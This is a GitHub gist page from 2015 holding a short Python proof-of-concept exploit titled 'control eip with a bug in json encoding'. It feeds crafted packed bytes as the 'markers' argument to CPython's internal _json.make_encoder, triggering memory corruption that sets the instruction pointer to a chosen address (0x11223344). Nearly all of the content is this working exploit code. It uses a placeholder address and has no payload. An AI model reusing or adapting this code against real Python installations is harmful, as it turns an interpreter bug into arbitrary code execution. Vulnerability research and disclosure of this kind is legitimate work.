Created
August 25, 2015 13:05
-
-
Save pakt/e8e29bd511edf940ee8a to your computer and use it in GitHub Desktop.
control eip with a bug in json encoding
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import _json as j | |
import array | |
import struct | |
import sys | |
ver = sys.version_info[0] | |
eip = 0x11223344 | |
eip_control = struct.pack("@I", 0) + \ | |
struct.pack("@I", eip) + \ | |
struct.pack("@I", eip) | |
if ver==3: | |
markers = array.array("B", eip_control) | |
elif ver==2: | |
markers = eip_control | |
else: | |
assert False | |
enc = j.encode_basestring_ascii | |
e = j.make_encoder(markers, None, enc, 4, "ks", "is", False, True, True) | |
l = [1,2,3] | |
e(l, 1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment